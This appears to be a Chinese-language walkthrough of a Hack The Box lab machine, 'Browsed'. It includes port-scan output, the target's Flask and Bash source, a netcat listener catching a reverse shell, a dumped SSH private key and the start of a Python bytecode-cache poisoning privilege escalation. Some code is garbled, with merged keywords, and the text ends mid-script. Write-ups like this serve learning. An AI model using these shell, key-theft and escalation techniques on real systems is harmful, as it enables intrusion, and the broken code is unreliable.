┌──(root㉿kaada)-[/home/kali/Desktop] └─# ./rustscan -a 10.129.200.183 --ulimit 5000 .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- I don't always scan ports, but when I do, I prefer RustScan.
[~] The config file is expected to be at "/root/.rustscan.toml" [~] Automatically increasing ulimit value to 5000. Open 10.129.200.183:22 Open 10.129.200.183:80 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-16 00:42 EST Initiating Ping Scan at 00:42 Scanning 10.129.200.183 [4 ports] Completed Ping Scan at 00:42, 0.09s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 00:42 Completed Parallel DNS resolution of 1 host. at 00:42, 0.00s elapsed DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 00:42 Scanning 10.129.200.183 [2 ports] Discovered open port 22/tcp on 10.129.200.183 Discovered open port 80/tcp on 10.129.200.183 Completed SYN Stealth Scan at 00:42, 0.12s elapsed (2 total ports) Nmap scan report for 10.129.200.183 Host is up, received echo-reply ttl 63 (0.080s latency). Scanned at 2026-01-16 00:42:55 EST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.29 seconds Raw packets sent: 6 (240B) | Rcvd: 6 (236B)
┌──(root㉿kaada)-[/home/kali/Desktop] └─# ./rustscan -a 10.129.200.183 --ulimit 5000 -- -sV -sC -A .----..-..-..----..---..----..---..--..-..-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- RustScan: Where '404 Not Found' meets '200 OK'.
[~] The config file is expected to be at "/root/.rustscan.toml" [~] Automatically increasing ulimit value to 5000. Open 10.129.200.183:22 Open 10.129.200.183:80 [~] Starting Script(s) [>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -sV -sC -A" on ip 10.129.200.183 Depending on the complexity of the script, results may take some time to appear. [~] Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-16 00:45 EST NSE: Loaded 157 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 00:45 Completed NSE at 00:45, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 00:45 Completed NSE at 00:45, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 00:45 Completed NSE at 00:45, 0.00s elapsed Initiating Ping Scan at 00:45 Scanning 10.129.200.183 [4 ports] Completed Ping Scan at 00:45, 0.09s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 00:45 Completed Parallel DNS resolution of 1 host. at 00:45, 0.00s elapsed DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 00:45 Scanning 10.129.200.183 [2 ports] Discovered open port 22/tcp on 10.129.200.183 Discovered open port 80/tcp on 10.129.200.183 Completed SYN Stealth Scan at 00:45, 0.17s elapsed (2 total ports) Initiating Service scan at 00:45 Scanning 2 services on 10.129.200.183 Completed Service scan at 00:45, 6.17s elapsed (2 services on 1 host) Initiating OS detection (try #1) against 10.129.200.183 Initiating Traceroute at 00:45 Completed Traceroute at 00:45, 0.11s elapsed Initiating Parallel DNS resolution of 2 hosts. at 00:45 Completed Parallel DNS resolution of 2 hosts. at 00:45, 0.00s elapsed DNS resolution of 2 IPs took 0.00s. Mode: Async [#: 1, OK: 0, NX: 2, DR: 0, SF: 0, TR: 2, CN: 0] NSE: Script scanning 10.129.200.183. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 00:45 Completed NSE at 00:45, 3.19s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 00:45 Completed NSE at 00:45, 0.53s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 00:45 Completed NSE at 00:45, 0.00s elapsed Nmap scan report for 10.129.200.183 Host is up, received echo-reply ttl 63 (0.096s latency). Scanned at 2026-01-16 00:45:40 EST for 12s
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 02:c8:a4:ba:c5:ed:0b:13:ef:b7:e7:d7:ef:a2:9d:92(ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJW1WZr+zu8O38glENl+84Zw9+Dw/pm4IxFauRRJ+eAFkuODRBg+5J92dT0p/BZLMz1wZMjd6BLjAkB1LHDAjqQ= | 256 53:ea:be:c7:07:05:9d:aa:9f:44:f8:bf:32:ed:5c:9a(ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICE6UoMGXZk41AvU+J2++RYnxElAD3KNSjatTdCeEa1R 80/tcp open http syn-ack ttl 63 nginx 1.24.0 (Ubuntu) |_http-title: Browsed | http-methods: |_ Supported Methods: GET HEAD |_http-server-header: nginx/1.24.0 (Ubuntu) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.19 TCP/IP fingerprint: OS:SCAN(V=7.95%E=4%D=1/16%OT=22%CT=%CU=42006%PV=Y%DS=2%DC=T%G=N%TM=6969D090 OS:%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=A)OPS( OS:O1=M542ST11NW7%O2=M542ST11NW7%O3=M542NNT11NW7%O4=M542ST11NW7%O5=M542ST11 OS:NW7%O6=M542ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN( OS:R=Y%DF=Y%T=40%W=FAF0%O=M542NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R= OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F= OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD= OS:S)
Uptime guess: 27.162 days (since Fri Dec 19 20:52:14 2025) Network Distance: 2 hops TCP Sequence Prediction: Difficulty=259 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp) HOP RTT ADDRESS 1 110.72 ms 10.10.14.1 2 72.30 ms 10.129.200.183
NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 00:45 Completed NSE at 00:45, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 00:45 Completed NSE at 00:45, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 00:45 Completed NSE at 00:45, 0.00s elapsed Read data files from: /usr/share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.14 seconds Raw packets sent: 38 (2.458KB) | Rcvd: 27 (1.834KB)
访问80端口。
将域名写入hosts中。
1 2 3
┌──(root㉿kaada)-[/home/kali/Desktop] └─# echo "10.129.200.183 Browsed.htb" | tee -a /etc/hosts 10.129.200.183 Browsed.htb
# Convert markdown to HTML html = markdown.markdown(content)
# Save HTML to unique file filename = f"{uuid.uuid4().hex}.html" filepath = os.path.join(FILES_DIR, filename) withopen(filepath, 'w') as f: f.write(html)
@app.route('/files') deflist_files(): files = [f for f in os.listdir(FILES_DIR) if f.endswith('.html')] links = '\n'.join([f'<li><a href="/view/{f}">{f}</a></li>'for f in files]) returnf''' <h1>Saved HTML Files</h1> <ul>{links}</ul> <p><a href="/">Back to editor</a></p> '''
@app.route('/routines/<rid>') defroutines(rid): # Call the script that manages the routines # Run bash script with the input as an argument (NO shell) subprocess.run(["./routines.sh", rid]) return"Routine executed !"
if [[ "$1" -eq 0 ]]; then # Routine 0: Clean temp files find "$TMP_DIR" -type f -name "*.tmp" -delete log_action "Routine 0: Temporary files cleaned." echo"Temporary files cleaned."
elif [[ "$1" -eq 1 ]]; then # Routine 1: Backup data tar -czf "$BACKUP_DIR/data_backup_$(date '+%Y%m%d_%H%M%S').tar.gz""$DATA_DIR" log_action "Routine 1: Data backed up to $BACKUP_DIR." echo"Backup completed."
elif [[ "$1" -eq 3 ]]; then # Routine 3: System info dump uname -a > "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt" df -h >> "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt" log_action "Routine 3: System info dumped." echo"System info saved."
else log_action "Unknown routine ID: $1" echo"Routine ID not implemented." fi
┌─[root@htb-vo7qucmz6t]─[/home/skyarrow/Desktop] └──╼ #nc -lvnp 4444 listening on [any] 4444 ... connect to [10.10.14.70] from (UNKNOWN) [10.129.200.183] 51266 bash: cannot set terminal process group (1461): Inappropriate ioctl for device bash: no job control in this shell larry@browsed:~/markdownPreview$
可以看到我们已经成功收到shell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
larry@browsed:~$ ls -al ls -al total 56 drwxr-x--- 9 larry larry 4096 Jan 6 11:11 . drwxr-xr-x 4 root root 4096 Jan 6 10:28 .. lrwxrwxrwx 1 root root 9 Dec 29 09:55 .bash_history -> /dev/null -rw-r--r-- 1 larry larry 220 Mar 31 2024 .bash_logout -rw-r--r-- 1 larry larry 3771 Mar 31 2024 .bashrc drwx------ 4 larry larry 4096 Jan 6 10:28 .cache drwx------ 3 larry larry 4096 Jan 6 10:28 .config -rw-rw-r-- 1 larry larry 36 Aug 17 11:05 .gitconfig drwx------ 3 larry larry 4096 Jan 6 10:28 .gnupg drwxrwxr-x 3 larry larry 4096 Jan 6 10:28 .local drwxrwxr-x 9 larry larry 4096 Jan 6 10:28 markdownPreview drwx------ 3 larry larry 4096 Jan 6 10:28 .pki -rw-r--r-- 1 larry larry 807 Mar 31 2024 .profile lrwxrwxrwx 1 larry larry 9 Aug 17 13:15 .python_history -> /dev/null drwx------ 2 larry larry 4096 Jan 6 10:28 .ssh -rw-r----- 1 root larry 33 Jan 16 05:41 user.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
larry@browsed:~$ cd .ssh cd .ssh larry@browsed:~/.ssh$ ls ls authorized_keys id_ed25519 id_ed25519.pub larry@browsed:~/.ssh$ cat id_ed25519 cat id_ed25519 -----BEGINOPENSSHPRIVATEKEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW QyNTUxOQAAACDZZIZPBRF8FzQjntOnbdwYiSLYtJ2VkBwQAS8vIKtzrwAAAJAXb7KHF2+y hwAAAAtzc2gtZWQyNTUxOQAAACDZZIZPBRF8FzQjntOnbdwYiSLYtJ2VkBwQAS8vIKtzrw AAAEBRIok98/uzbzLs/MWsrygG9zTsVa9GePjT52KjU6LoJdlkhk8FEXwXNCOe06dt3BiJ Iti0nZWQHBABLy8gq3OvAAAADWxhcnJ5QGJyb3dzZWQ= -----ENDOPENSSHPRIVATEKEY----- larry@browsed:~/.ssh$
有其私钥，记下来方便后续登录上传。
权限提升：Python 字节码缓存毒化
1 2 3 4 5 6 7 8 9 10
larry@browsed:~$ sudo -l MatchingDefaults entries for larry on browsed: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User larry may run the following commands on browsed: (root) NOPASSWD: /opt/extensiontool/extension_tool.py larry@browsed:~$
withopen(path, 'w', encoding='utf-8') as f: json.dump(data, f, indent=2)
print(f"[+] Version bumped to {new_version}") return new_version
defpackage_extension(source_dir, output_file): temp_dir = '/opt/extensiontool/temp' ifnot os.path.exists(temp_dir): os.mkdir(temp_dir) output_file = os.path.basename(output_file) with zipfile.ZipFile(os.path.join(temp_dir,output_file), 'w', zipfile.ZIP_DEFLATED) as zipf: for foldername, subfolders, filenames in os.walk(source_dir): for filename in filenames: filepath = os.path.join(foldername, filename) arcname = os.path.relpath(filepath, source_dir) zipf.write(filepath, arcname) print(f"[+] Extension packaged as {temp_dir}/{output_file}")
defmain(): parser = ArgumentParser(description="Validate, bump version, and package a browser extension.") parser.add_argument('--ext', type=str, default='.', help='Which extension to load') parser.add_argument('--bump', choices=['major', 'minor', 'patch'], help='Version bump type') parser.add_argument('--zip', type=str, nargs='?', const='extension.zip', help='Output zip file name') parser.add_argument('--clean', action='store_true', help="Clean up temporary files after packaging")
args = parser.parse_args()
if args.clean: clean_temp_files(args.clean)
args.ext = os.path.basename(args.ext) ifnot (args.ext in os.listdir(EXTENSION_DIR)): print(f"[X] Use one of the following extensions : {os.listdir(EXTENSION_DIR)}") exit(1)
# 2. 获取原始源文件的元数据 (大小 和 修改时间) try: stats = os.stat(TARGET_SOURCE_PATH) except FileNotFoundError: print("[-] Cannot find target file. Are you on the right machine?") return
